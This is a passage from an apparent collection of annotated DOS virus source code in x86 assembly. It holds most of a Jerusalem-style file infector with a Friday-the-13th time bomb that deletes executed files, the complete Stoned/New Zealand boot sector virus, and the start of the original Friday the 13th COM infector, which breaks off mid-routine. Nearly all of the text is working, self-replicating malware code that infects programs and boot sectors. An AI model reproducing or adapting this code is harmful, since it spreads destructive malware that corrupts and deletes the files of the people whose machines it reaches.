;DO A ???... INT 21H ; ; CMP AH,0E0H ; JNC L01B5 ; CMP AH,3 ; JC L01B5 ; ; MOV AH,0DDH ; MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE ADD SI,DI ;SI = BEGINNING OF HOST CODE MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?) INT 21H ; ; L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H ADD AX,10H ; MOV SS,AX ;SS = TWEEKed CS MOV SP,700H ;SP = END OF OUR CODE (VIRUS) ; ;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF ; PUSH AX ;JMP FAR CS+10H:IP-100H MOV AX,offset BEGIN_EXE - offset BEGIN_COM PUSH AX ; RETF ; ; ;---------------------------------------; ORG 0C5h ; ;---------------------------------------; ; BEGIN_EXE: ;EXE FILES START HERE CLD ; PUSH ES ; ; MOV CS:[A0031],ES ; MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES MOV CS:[EXEC_BLOCK+8],ES ; MOV CS:[EXEC_BLOCK+12],ES ; ; MOV AX,ES ;TWEEK ES SAME AS CS ABOVE ADD AX,10H ; ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE ADD CS:[HOST_SS],AX ; ; MOV AH,0E0H ; INT 21H ; ; CMP AH,0E0H ; JNC L0106 ;00F1 7313 ; CMP AH,3 ; POP ES ;00F6 MOV SS,CS:[HOST_SS] ; MOV SP,CS:[HOST_SP] ; JMP far CS:[HSOT_IP] ; ; L0106: XOR AX,AX ;0106 33C0 MOV ES,AX ;0108 8EC0 MOV AX,ES:[03FC] ;010A 26A1FC03 MOV CS:[A004B],AX ;010E 2EA34B00 MOV AL,ES:[03FE] ;0112 26A0FE03 MOV CS:[A004D],AL ;0116 2EA24D00 MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5 MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB POP AX ;0127 58 ADD AX,10H ;0128 051000 MOV ES,AX ;012B 8EC0 PUSH CS ;012D 0E POP DS ;012E 1F MOV CX,710H ;SIZE OF VIRUS CODE SHR CX,1 ;0132 D1E9 XOR SI,SI ;0134 33F6 MOV DI,SI ;0136 8BFE PUSH ES ;0138 06 MOV AX,0142 ;0139 B84201 PUSH AX ;013C 50 JMP 0000:03FC ;013D EAFC030000 ; MOV AX,CS ;0142 8CC8 MOV SS,AX ;0144 8ED0 MOV SP,700H ;0146 BC0007 XOR AX,AX ;0149 33C0 MOV DS,AX ;014B 8ED8 MOV AX,CS:[A004B] ;014D 2EA14B00 MOV [03FC],AX ;0151 A3FC03 MOV AL,CS:[A004D] ;0154 2EA04D00 MOV [03FE],AL ;0158 A2FE03 MOV BX,SP ;015B 8BDC MOV CL,04 ;015D B104 SHR BX,CL ;015F D3EB ADD BX,+10 ;0161 83C310 MOV CS:[A0033],BX ; ; MOV AH,4AH ; MOV ES,CS:[A0031] ; INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS ; MOV AX,3521 ; INT 21H ;GET VECTOR MOV CS:[OLD_21],BX ; MOV CS:[OLD_21+2],ES ; ; PUSH CS ;0181 0E POP DS ;0182 1F MOV DX,offset NEW_INT_21 ;0183 BA5B02 MOV AX,2521 ; INT 21H ;SAVE VECTOR ; MOV ES,[A0031] ;018B 8E063100 MOV ES,ES:[A002C] ;018F 268E062C00 XOR DI,DI ;0194 33FF MOV CX,7FFFH ;0196 B9FF7F XOR AL,AL ;0199 32C0 REPNE SCASB ;019C AE CMP ES:[DI],AL ;019D 263805 LOOPNZ 019B ;01A0 E0F9 MOV DX,DI ;01A2 8BD7 ADD DX,+03 ;01A4 83C203 MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM PUSH ES ; POP DS ; PUSH CS ; POP ES ; MOV BX,35H ; ; PUSH DS ;01B1 ; PUSH ES ; PUSH AX ; PUSH BX ; PUSH CX ; PUSH DX ; ; MOV AH,2AH ; INT 21H ;GET DATE ; MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE" ; CMP CX,1987 ;IF 1987... JE L01F7 ;...JUMP CMP AL,5 ;IF NOT FRIDAY... JNE L01D8 ;...JUMP CMP DL,0DH ;IF DATE IS NOT THE 13th... JNE L01D8 ;...JUMP INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT JMP L01F7 ; ; L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR INT 21H ;GET VECTOR MOV CS:[OLD_08],BX ; MOV CS:[OLD_08],ES ; ; PUSH CS ;DS=CS POP DS ; ; MOV Word ptr [A_FLAG],7E90H ; ; MOV AX,2508H ;SET NEW CLOCK TIC HANDLER MOV DX,offset NEW_08 ; INT 21H ;SET VECTOR ; L01F7: POP DX ; POP CX ; POP BX ; POP AX ; POP ES ; POP DS ; PUSHF ; CALL far CS:[OLD_21] ; PUSH DS ; POP ES ; ; MOV AH,49H ; INT 21H ;FREE ALLOCATED MEMORY ; MOV AH,4DH ; INT 21H ;GET RETURN CODE OF A SUBPROCESS ; ;---------------------------------------; ; THIS IS WHERE WE REMAIN RESIDENT ; ;---------------------------------------; MOV AH,31H ; MOV DX,0600H ;020F ; MOV CL,04 ; SHR DX,CL ; ADD DX,10H ; INT 21H ;TERMINATE AND REMAIN RESIDENT ; ;---------------------------------------; NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER IRET ; ; ;-----------------------------------------------------------------------; ; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ; ;-----------------------------------------------------------------------; NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E JNE N08_10 ;IF ... JUMP ; PUSH AX ; PUSH BX ; PUSH CX ; PUSH DX ; PUSH BP ; MOV AX,0602H ;SCROLL UP TWO LINES MOV BH,87H ;INVERSE VIDEO ATTRIBUTE MOV CX,0505H ;UPPER LEFT CORNER MOV DX,1010H ;LOWER RIGHT CORNER INT 10H ; POP BP ; POP DX ; POP CX ; POP BX ; POP AX ; ; N08_10: DEC Word ptr CS:[A_FLAG] ; JMP N08_90 ; MOV Word ptr CS:[A_FLAG],1 ; ; PUSH AX ; PUSH CX ; PUSH SI ; THIS DELAY CODE NEVER GETS EXECUTED MOV CX,4001H ; IN THIS VERSION REP LODSB ; POP SI ; POP CX ; POP AX ; ; N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR ; ;-----------------------------------------------------------------------; ; NEW INTERRUPT 21 HANDLER ; ;-----------------------------------------------------------------------; NEW_21: PUSHF ;025B ; CMP AH,0E0H ;IF A E0 REQUEST... JNE N21_10 ; MOV AX,300H ;...RETURN AX = 300H POPF ; (OUR PUSHF) IRET ; ; N21_10: CMP AH,0DDH ;0266 ; JE N21_30 ;IF DDH...JUMP TO _30 CMP AH,0DEH ; JE N21_40 ;IF DEH...JUMP TO _40 CMP AX,4B00H ;IF SPAWN A PROG... JNE N21_20 ; JMP N21_50 ;...JUMP TO _50 ; N21_20: POPF ; (OUR PUSHF) JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR ; N21_30: POP AX ;REMOVE OUR (PUSHF) POP AX ;? MOV AX,100H ; MOV CS:[000A],AX ; POP AX ; MOV CS:[000C],AX ; REP MOVSB ; POPF ; (OUR PUSHF) MOV AX,CS:[000F] ; JMP far CS:[000A] ; ; N21_40: ADD SP,+06 ;0298 ; POPF ; (OUR PUSHF) MOV AX,CS ; MOV SS,AX ; MOV SP,710H ;SIZE OF VIRUS CODE PUSH ES ; PUSH ES ;02A4 06 XOR DI,DI ;02A5 33FF PUSH CS ;02A7 0E POP ES ;02A8 07 MOV CX,0010 ;02A9 B91000 MOV SI,BX ;02AC 8BF3 MOV DI,0021 ;02AE BF2100 REP MOVSB ;02B2 A4 MOV AX,DS ;02B3 8CD8 MOV ES,AX ;02B5 8EC0 MUL Word ptr CS:[A007A] ;02B7 2EF7267A00 ADD AX,CS:[002B] ;02BC 2E03062B00 ADC DX,+00 ;02C1 83D200 DIV Word ptr CS:[A007A] ;02C4 2EF7367A00 MOV DS,AX ;02C9 8ED8 MOV SI,DX ;02CB 8BF2 MOV DI,DX ;02CD 8BFA MOV BP,ES ;02CF 8CC5 MOV BX,CS:[002F] ;02D1 2E8B1E2F00 OR BX,BX ;02D6 0BDB JE 02ED ;02D8 7413 MOV CX,8000 ;02DA B90080 REP MOVSW ;02DE A5 ADD AX,1000 ;02DF 050010 ADD BP,1000 ;02E2 81C50010 MOV DS,AX ;02E6 8ED8 MOV ES,BP ;02E8 8EC5 DEC BX ;02EA 4B JNE 02DA ;02EB 75ED MOV CX,CS:[002D] ;02ED 2E8B0E2D00 REP MOVSB ;02F3 A4 POP AX ;02F4 58 PUSH AX ;02F5 50 ADD AX,0010 ;02F6 051000 ADD CS:[0029],AX ;02F9 2E01062900 ADD CS:[0025],AX ;02FE 2E01062500 MOV AX,CS:[0021] ;0303 2EA12100 POP DS ;0307 1F POP ES ;0308 07 MOV SS,CS:[0029] ;0309 2E8E162900 MOV SP,CS:[0027] ;030E 2E8B262700 JMP far CS:[0023] ;0313 2EFF2E2300 ; ;---------------------------------------; ; IT IS TIME FOR THIS FILE TO DIE... ; ; THIS IS WHERE IT GETS DELETED ! ; ;---------------------------------------; N21_5A: XOR CX,CX ; MOV AX,4301H ; INT 21H ;CHANGE FILE MODE (ATT=0) ; MOV AH,41H ; INT 21H ;DELETE A FILE ; MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM POPF ; (OUR PUSHF) JMP far CS:[OLD_21] ; ; ;---------------------------------------; ; START INFECTION ; ;---------------------------------------; N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE... JE N21_5A ;...JUMP ; MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN MOV Word ptr CS:[A008F],0 ; MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME MOV word ptr CS:[HOST_NAME+2],DS ; ; ;INFECTION PROCESS OCCURS HERE ; PUSH AX ;034C 50 PUSH BX ;034D 53 PUSH CX ;034E 51 PUSH DX ;034F 52 PUSH SI ;0350 56 PUSH DI ;0351 57 PUSH DS ;0352 1E PUSH ES ;0353 06 CLD ;0354 FC MOV DI,DX ;0355 8BFA XOR DL,DL ;0357 32D2 CMP Byte ptr [DI+01],3A ;0359 807D013A JNE L0364 ;035D 7505 MOV DL,[DI] ;035F 8A15 AND DL,1F ;0361 80E21F ; L0364: MOV AH,36 ; INT 21H ;GET DISK FREE SPACE CMP AX,-1 ;0368 3DFFFF JNE L0370 ;036B 7503 L036D: JMP I_90 ;036D E97702 ; L0370: MUL BX ;0370 F7E3 MUL CX ;0372 F7E1 OR DX,DX ;0374 0BD2 JNE L037D ;0376 7505 CMP AX,710H ;0378 3D1007 JC L036D ;037B 72F0 L037D: MOV DX,word ptr CS:[HOST_NAME] PUSH DS ;0382 1E POP ES ;0383 07 XOR AL,AL ;0384 32C0 MOV CX,41 ;0386 B94100 REPNE SCASB ;038A AE MOV SI,word ptr CS:[HOST_NAME] L0390: MOV AL,[SI] ;0390 8A04 OR AL,AL ;0392 0AC0 JE L03A4 ;0394 740E CMP AL,61 ;0396 3C61 JC L03A1 ;0398 7207 CMP AL,7A ;039A 3C7A JA L03A1 ;039C 7703 SUB Byte ptr [SI],20 ;039E 802C20 L03A1: INC SI ;03A1 46 JMP L0390 ;03A2 EBEC ; L03A4: MOV CX,000B ;03A4 B90B00 SUB SI,CX ;03A7 2BF1 MOV DI,offset COMMAND_COM ;03A9 BF8400 PUSH CS ;03AC 0E POP ES ;03AD 07 MOV CX,000B ;03AE B90B00 REPE CMPSB ;03B2 A6 JNE L03B8 ;03B3 7503 JMP I_90 ;03B5 E92F02 ; L03B8: MOV AX,4300H ; INT 21H ;CHANGE FILE MODE JC L03C4 ;03BD 7205 ; MOV CS:[HOST_ATT],CX ;03BF ; L03C4: JC L03EB ;03C4 7225 XOR AL,AL ;03C6 32C0 MOV CS:[A004E],AL ;03C8 2EA24E00 PUSH DS ;03CC 1E POP ES ;03CD 07 MOV DI,DX ;03CE 8BFA MOV CX,41 ;03D0 B94100 REPNZ SCASB ;03D4 AE CMP Byte ptr [DI-02],4D ;03D5 807DFE4D JE L03E6 ;03D9 740B CMP Byte ptr [DI-02],6D ;03DB 807DFE6D JE L03E6 ;03DF 7405 INC Byte ptr CS:[A004E] ;03E1 2EFE064E00 ; L03E6: MOV AX,3D00H ; INT 21H ;OPEN FILE READ ONLY L03EB: JC L0447 ; MOV CS:[HANDLE],AX ;03ED ; ; MOV BX,AX ;MOVE TO END OF FILE -5 MOV AX,4202 ; MOV CX,-1 ;FFFFFFFB MOV DX,-5 ; INT 21H ;MOVE FILE POINTER JC L03EB ; ; ADD AX,5 ;0400 ; MOV CS:[A0011],AX ;?SAVE HOST SIZE ; MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST MOV DX,offset A006B ; MOV AX,CS ; MOV DS,AX ; MOV ES,AX ; MOV AH,3FH ; INT 21H ;READ FROM A FILE ; MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos' MOV SI,offset MS_DOS ; REPE CMPSB ; JNE L0427 ; MOV AH,3E ;IF == 'MsDos'... INT 21H ;CLOSE FILE JMP I_90 ;...PASS CONTROL TO DOS ; L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR INT 21H ;GET VECTOR MOV [OLD_24],BX ; MOV [OLD_24+2],ES ; ; MOV DX,offset NEW_24 ; MOV AX,2524 ;SET CRITICAL ERROR VECTOR INT 21H ;SET VECTOR ; LDS DX,dword ptr [HOST_NAME]; XOR CX,CX ; MOV AX,4301H ; INT 21H ;CHANGE FILE MODE L0447: JC L0484 ; ; MOV BX,CS:[HANDLE] ; MOV AH,3E ; INT 21H ;CLOSE FILE ; MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE ; MOV AX,3D02 ; INT 21H ;OPEN FILE R/W JC L0484 ; ; MOV CS:[HANDLE],AX ;0460 2EA37000 MOV AX,CS ;0464 8CC8 MOV DS,AX ;0466 8ED8 MOV ES,AX ;0468 8EC0 MOV BX,[HANDLE] ;046A 8B1E7000 MOV AX,5700 ;046E B80057 INT 21H ;GET/SET FILE DATE TIME ; MOV [HOST_DATE],DX ;0473 89167400 MOV [HOST_TIME],CX ;0477 890E7600 MOV AX,4200 ;047B B80042 XOR CX,CX ;047E 33C9 MOV DX,CX ;0480 8BD1 INT 21H ;MOVE FILE POINTER L0484: JC L04C3 ;0484 723D ; CMP Byte ptr [A004E],00 ;0486 803E4E0000 JE L0490 ;048B 7403 JMP L04E6 ;048D EB57 ; NOP ;048F 90 L0490: MOV BX,1000 ;0490 BB0010 MOV AH,48 ;0493 B448 INT 21H ;ALLOCATE MEMORY JNC L04A4 ;0497 730B ; MOV AH,3E ;0499 B43E MOV BX,[HANDLE] ;049B 8B1E7000 INT 21H ;CLOSE FILE (OBVIOUSLY) JMP I_90 ;04A1 E94301 ; L04A4: INC Word ptr [A008F] ;04A4 FF068F00 MOV ES,AX ;04A8 8EC0 XOR SI,SI ;04AA 33F6 MOV DI,SI ;04AC 8BFE MOV CX,710H ;04AE B91007 REP MOVSB ;04B2 A4 MOV DX,DI ;04B3 8BD7 MOV CX,[A0011] ;?GET HOST SIZE - YES MOV BX,[70H] ;04B9 8B1E7000 PUSH ES ;04BD 06 POP DS ;04BE 1F MOV AH,3FH ;04BF B43F INT 21H ;READ FROM A FILE L04C3: JC L04E1 ;04C3 721C ; ADD DI,CX ;04C5 03F9 ; XOR CX,CX ;POINT TO BEGINNING OF FILE MOV DX,CX ; MOV AX,4200H ; INT 21H ;MOVE FILE POINTER ; MOV SI,offset MS_DOS ;04D0 BE0500 MOV CX,5 ;04D3 B90500 REP CS:MOVSB ;04D7 2EA4 MOV CX,DI ;04D9 8BCF XOR DX,DX ;04DB 33D2 MOV AH,40H ; INT 21H ;WRITE TO A FILE L04E1: JC L04F0 ; JMP L05A2 ; ; ;---------------------------------------; ; READ EXE HEADER ; ;---------------------------------------; L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER MOV DX,offset EXE_HDR ; MOV AH,3F ; INT 21H ;READ FILE JC L053C ; ; ;---------------------------------------; ; TWEEK EXE HEADER TO INFECTED HSOT ; ;---------------------------------------; MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO MOV AX,[EXE_HDR+14] ; SS MOV [HOST_SS],AX ; MOV AX,[EXE_HDR+16] ; SP MOV [HOST_SP],AX ; MOV AX,[EXE_HDR+20] ; IP MOV [HOST_IP],AX ; MOV AX,[EXE_HDR+22] ; CS MOV [HOST_CS],AX ; MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS) CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512 JZ L051B ;IF FILE SIZE==0...JMP DEC AX ; L051B: MUL Word ptr [BLOCK_SIZE] ; ADD AX,[EXE_HDR+2] ; ADC DX,0 ;AX NOW = FILE SIZE ; ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND ADC DX,0 ; AND AX,0FFF0H ; MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS MOV [HOST_SIZE+2],DX ; ; ADD AX,710H ;(SIZE OF VIRUS) ADC DX,0 ; L053C: JC L0578 ;IF > FFFFFFFF...JMP DIV Word ptr [BLOCK_SIZE] ; OR DX,DX ; JE L0547 ; INC AX ; L0547: MOV [EXE_HDR+4],AX ; MOV [EXE_HDR+2],DX ; ;---------------; MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE MOV DX,[HOST_SIZE+2] ; DIV Word ptr [A007A] ; SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR MOV [EXE_HDR+22],AX ;VALUE OF CS MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP MOV [EXE_HDR+14],AX ;VALUE OF SS MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP ;---------------; XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR) MOV DX,CX ; MOV AX,4200H ; INT 21H ;MOVE FILE POINTER L0578: JC L0584 ; ; ;---------------------------------------; ; WRITE INFECTED EXE HEADER ; ;---------------------------------------; MOV CX,1CH ; MOV DX,offset EXE_HDR ; MOV AH,40H ; INT 21H ;WRITE TO A FILE L0584: JC L0597 ; CMP AX,CX ; JNE L05A2 ; ; MOV DX,[HOST_SIZE] ;POINT TO END OF FILE MOV CX,[HOST_SIZE+2] ; MOV AX,4200 ; INT 21H ;MOVE FILE POINTER L0597: JC L05A2 ; ; ;---------------------------------------; ; WRITE VIRUS CODE TO END OF HOST ; ;---------------------------------------; XOR DX,DX ; MOV CX,710H ;(SIZE OF VIRUS) MOV AH,40H ; INT 21H ;WRITE TO A FILE ; L05A2: CMP Word ptr CS:[008F],0 ;IF... JZ L05AE ;...SKIP MOV AH,49H ; INT 21H ;FREE ALLOCATED MEMORY ; L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ... JE I_90 ;...SKIP ; MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME MOV DX,CS:[HOST_DATE] ; MOV CX,CS:[HOST_TIME] ; MOV AX,5701H ; INT 21H ;GET/SET FILE DATE/TIME ; MOV AH,3EH ; INT 21H ;CLOSE FILE ; LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE MOV CX,CS:[HOST_ATT] ; MOV AX,4301H ; INT 21H ;CHANGE FILE MODE ; LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER MOV AX,2524H ; INT 21H ;SET VECTOR ; I_90: POP ES ; POP DS ; POP DI ; POP SI ; POP DX ; POP CX ; POP BX ; POP AX ; POPF ; (OUR PUSHF) JMP far CS:[OLD_21] ;PASS CONTROL TO DOS ; ;-----------------------------------------------------------------------; ; ; ;----------------------------------------------------------------------- ************************************************************************ ------------------------------------------------------------------------ ------------------------------------------------------------------------ ************************************************************************ The "New Zealand Virus". Also called - Stoned, Marijuana, San Diego Virus, Smithsonian Virus CODE SEGMENT ASSUME CS:CODE WORK_SPACE EQU 512 MAXIMUM_SIZE EQU 1BEH VIRUS PROC NEAR DB 0EAH ;JMP 07C0:0005 DW 5,7C0H JMP INSTALL ; DRIVE_LETTER INDICATES BOOT DISK, 0 = A:, 2 = C: DRIVE_LETTER DB 0 OLD_13 LABEL DWORD OFFS DW ? SEGM DW ? NEW_ADDRESS LABEL DWORD DW CONTINUE NEW_SEGMENT DW 0 REBOOT LABEL DWORD DW 7C00H,0 NEW_13: PUSH DS PUSH AX CMP AH,2 JC SPINNING CMP AH,4 JNC SPINNING OR DL,DL ; IS IT DRIVE A:? JNZ SPINNING ; JUMP IF NOT XOR AX,AX MOV DS,AX MOV AL,DS:43FH ; IS DRIVE MOTOR SPINNING? TEST AL,1 ; IF YES THEN JUMP JNZ SPINNING ; INT13 REQUEST IS FOR READ OR WRITE TO A: - MOTOR NOT YET STARTED. CALL INFECT ; NOT SPINNING - INFECT SPINNING: POP AX POP DS JMP CS:[OLD_13] INFECT: PUSH BX ; SAVE REGISTERS PUSH CX PUSH DX PUSH ES PUSH SI PUSH DI MOV SI,4 ; MAKE FOUR ATTEMPTS GET_BOOT_SECTOR: MOV AX,201H ; READ SECTOR PUSH CS POP ES MOV BX,OFFSET WORK_SPACE XOR CX,CX ; TRACK 0, SECTOR 0 MOV DX,CX ; HEAD 0, DRIVE 0 INC CX PUSHF CALL CS:[OLD_13] JNC BOOT_IS_DONE ; READ OK. XOR AX,AX ; DRIVE RESET PUSHF CALL CS:[OLD_13] DEC SI ; COUNT NUMBER OF TRIES JNZ GET_BOOT_SECTOR ; LOOP JMP FINISH BOOT_IS_DONE: XOR SI,SI ; CODE SEGMENT START MOV DI,OFFSET WORK_SPACE ; POINTER TO BOOT SECTOR CLD PUSH CS POP DS LODSW CMP AX,DS:[DI] ; OURS? JNZ CREATE_BOOT ; NO, CREATE BOOT LODSW ; RETRY CMP AX,DS:[DI+2] ; OURS? JZ FINISH ; NO, FINISH UP CREATE_BOOT: MOV AX,301H ; WRITE ORIGINAL BOOT SECTOR FROM BUFFER MOV BX,OFFSET WORK_SPACE MOV CL,3 MOV DH,1 PUSHF CALL CS:[OLD_13] ; WRITE JC FINISH MOV AX,301H XOR BX,BX MOV CL,01 XOR DX,DX PUSHF CALL CS:[OLD_13] FINISH: POP DI ; RESTORE REGISTERS POP SI POP ES POP DX POP CX POP BX RET INSTALL: XOR AX,AX MOV DS,AX CLI MOV SS,AX MOV SP,7C00H STI ; ENABLE INTERRUPTS MOV AX,DS:4CH ; SAVE OLD 13H MOV DS:[OFFS+7C00H],AX MOV AX,DS:4EH MOV DS:[SEGM+7C00H],AX MOV AX,DS:413H ; MEMORY AVAILABLE DEC AX DEC AX MOV DS:413H,AX MOV CL,6 SHL AX,CL MOV ES,AX ; ES: = FREE MEMORY ADDRESS MOV DS:[NEW_SEGMENT+7C00H],AX ; PUT IT INTO NEW JUMP VECTOR MOV AX,OFFSET NEW_13 ; INSTALL NEW VIRUS VECTOR MOV DS:4CH,AX MOV DS:4EH,ES MOV CX,OFFSET ENDOFPROGMEM PUSH CS POP DS ; DS POINTS TO OUR CODE SEGMENT XOR SI,SI ; SI POINTS TO 0 MOV DI,SI ; DI POINTS TO 0 CLD ; SET DIRECTION FLAG TO INCREMENT REP MOVSB ; MOVE OURSELVES INTO HIGH MEMORY! JMP NEW_ADDRESS ; THIS JUMP TRANSFERS TO CONTINUE BUT IN HIGH MEM ; THE FOLLOWING CODE IS EXECUTED AFTER BEING MOVED TO HIGH MEMORY ; EXECUTION IS VIA THE JUMP TO NEW_ADDRESS CONTINUE: MOV AX,0 ; RESET DISK SYSTEM INT 13H ; THIS IS THE INFECTED INT 13H XOR AX,AX ; READ REAL BOOT SECTOR MOV ES,AX MOV AX,201H MOV BX,7C00H ; INTO THE BOOT AREA OF RAM CMP DRIVE_LETTER,0 JZ BOOT_A BOOT_C: MOV CX,0002H ; FROM SECTOR 2 TRACK 0 HEAD 0 FOR FIRST HD MOV DX,0080H INT 13H JMP QUITPROG BOOT_A: MOV CX,0003H ; FROM SECTOR 3 TRACK 0 HEAD 1 FOR DRIVE A: MOV DX,0100H INT 13H JC QUITPROG ; FAILED READ! TEST BYTE PTR ES:46CH,7 ; CHECK SYSTEM CLOCK LAST 3 BITS JNZ NOMESSAGE MOV SI,OFFSET MESSAGE ; DS IS POINTING TO 7C0:000 WHICH PUSH CS POP DS MSGLOOP: LODSB ; ALSO HAS THE TEXT OR AL,AL JZ NOMESSAGE MOV AH,14 MOV BH,0 INT 10H JMP MSGLOOP NOMESSAGE: PUSH CS POP ES MOV AX,201H MOV BX,OFFSET WORK_SPACE ; READ BOOT SECTOR FROM HARD DISK MOV CL,1 MOV DX,0080H INT 13H JC QUITPROG ; BAD READ - SO JUMP PUSH CS POP DS MOV SI,OFFSET WORK_SPACE ; SOURCE IS THE BOOT SECTOR MOV DI,0 ; DESTINATION IS OUR OWN CODE LODSW ; MOV AX,DS:[SI] ; ADD SI,2 CMP AX,DS:[DI] ; VIRUS? JNZ SAVEBOOT ; JUMP IF NOT LODSW ; MOV AX,DS:[SI] ; ADD SI,2 CMP AX,DS:[DI+2] ; HAS IT GOT A VIRUS? JNZ SAVEBOOT QUITPROG: MOV DRIVE_LETTER,0 ; YES - SO BOOT DRIVE 0 FOR A> JMP REBOOT ; THIS JUMPS TO 0:7C00H TO CONTINUE BOOT CODE SAVEBOOT: MOV DRIVE_LETTER,2 ; DRIVE 2 FOR C> MOV AX,301H ; GONNA WRITE MOV BX,OFFSET WORK_SPACE ; OLD BOOT SECTOR MOV CX,0007H ; TO SECTOR 7 MOV DX,0080H ; OF DRIVE C> INT 13H JC QUITPROG PUSH CS POP DS PUSH CS POP ES MOV SI,OFFSET WORK_SPACE+MAXIMUM_SIZE MOV DI,MAXIMUM_SIZE MOV CX,400H-MAXIMUM_SIZE REP MOVSB ; SI -> DI AND INC BOTH CX TIMES MOV AX,301H ; GONNA WRITE BOOT SECTOR XOR BX,BX ; FROM TOP OF OUR CODE INC CL ; SECTOR 1 ; MOV DX,0080H ;<-- DX IS LEFT OVER FROM ABOVE INT 13H ; DO IT JMP QUITPROG MESSAGE: DB 7,'Your PC is now Stoned!',7,13,10,10,0 DB 'LEGALISE MARIJUANA!' ; This bit doesn't display! ENDOFPROGMEM: VIRUS ENDP CODE ENDS END VIRUS ***************************************************************** ----------------------------------------------------------------- ----------------------------------------------------------------- ***************************************************************** The original 'Friday the 13th" Also called - Munich Virus, Miami Virus ;-----------------------------------------------------------------------; ; THE METHOD OF INFECTION: ; ; SAVE FIRST 3 BYTES OF HOST TO SAVE AREA INSIDE OF VIRIUL SHELL ; ; APPEND VIRIUL SHELL TO END OF .COM FILE (ON A PARAGRAPH BOUNDARY!) ; ;-----------------------------------------------------------------------; ; ATTENTION! ; ; RESULTING FILE APPARENTLY MUST BE < 64K ; ; REMEMBER THE STACK IS AT THE TOP OF THE 64K FILE! WHERE SHELL RESIDES ; ; STACK MUST HAVE ROOM FOR VIRUS USE ; ;-----------------------------------------------------------------------; CODE SEGMENT PUBLIC 'CODE' ; ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE ; ORG 100H ;SAME A .COM FILE FOR NOW ; PUBLIC HOST_SIZE ;; ; ;-----------------------------------------------------------------------; ; JUMP AROUND VIRUS DATA AREA ; ;-----------------------------------------------------------------------; BEGIN: JMP CONTINUE ; ; ;-----------------------------------------------------------------------; ; SHELL DATA AREA APPARENTLY FOLLOWS ; ;-----------------------------------------------------------------------; HOST_3 DB ?,?,? ;FIRST 3 BYTES OF HOST ID DB 'INFECTED',0 ;FYI ALREADY INFECTED ID ; NEW_3 DB 0E9H ;TO REPLACE FIRST 3 BYTES OF HOST OUR_BEGIN DW ? ; ; HOST_TYPE DB '*.COM',0 ;TYPE OF FILES TO INFECT ; DTA DB 21 DUP (?) ;USED BY DOS DB ? ;FILE ATTRIBUTE DW ? ;FILES TIME DW ? ;FILES DATE HOST_SIZE DW ? ;FILE SIZE DW ? ;FILE SIZE HOST_NAME DB 13 DUP (?) ;FILE NAME ; COMMAND_COM DB 'COMMAND.COM',0 ; COMMAND_LENGTH EQU $ - offset COMMAND_COM ; ;-----------------------------------------------------------------------; ; SAVE INCOMMING ENVIRONMENT AND SETUP WORKING ENVIRONMENT ; ;-----------------------------------------------------------------------; CONTINUE: ; PUSH CS ;SAVE HOST SEGMENT PUSH AX ;SAVE SPACE FOR HOST offset ; PUSH AX ;SAVE INCOMMING REGs PUSH BX ; PUSH CX ; PUSH DX ; PUSH SI ; PUSH DI ; PUSH BP ; PUSH DS ;! NOT ES ! ; MOV BP,SP ;SAVE HOST offset (IN STACK) MOV word ptr [BP+16],100H ; (FOR LATER RETF TO HOST) ; CALL DUMMY ;MOV AX,IP DUMMY: POP AX ; SUB AX,(offset DUMMY - offset BEGIN) ; MOV CL,4 ;PASS CONTROL TO OURSELF WITH IP=100H SHR AX,CL ; MOV BX,CS ; ADD AX,BX ; SUB AX,10H ; PUSH AX ;(OUR MODIFIED CS) MOV AX,offset IN_CONTROL ;(OUR IP) PUSH AX ; RETF ; ; ;-----------------------------------------------------------------------; ;-----------------------------------------------------------------------; IN_CONTROL: ; MOV AX,CS ;(INIT DS) MOV DS,AX ; ; CALL REPLICATE ; CALL DO_STUFF ;DO STUFF HERE ; JMP ALL_DONE ;PASS CONTROL TO HOST ; ;-----------------------------------------------------------------------; ; REPRODUCE ; ;-----------------------------------------------------------------------; REPLICATE: ; PUSH 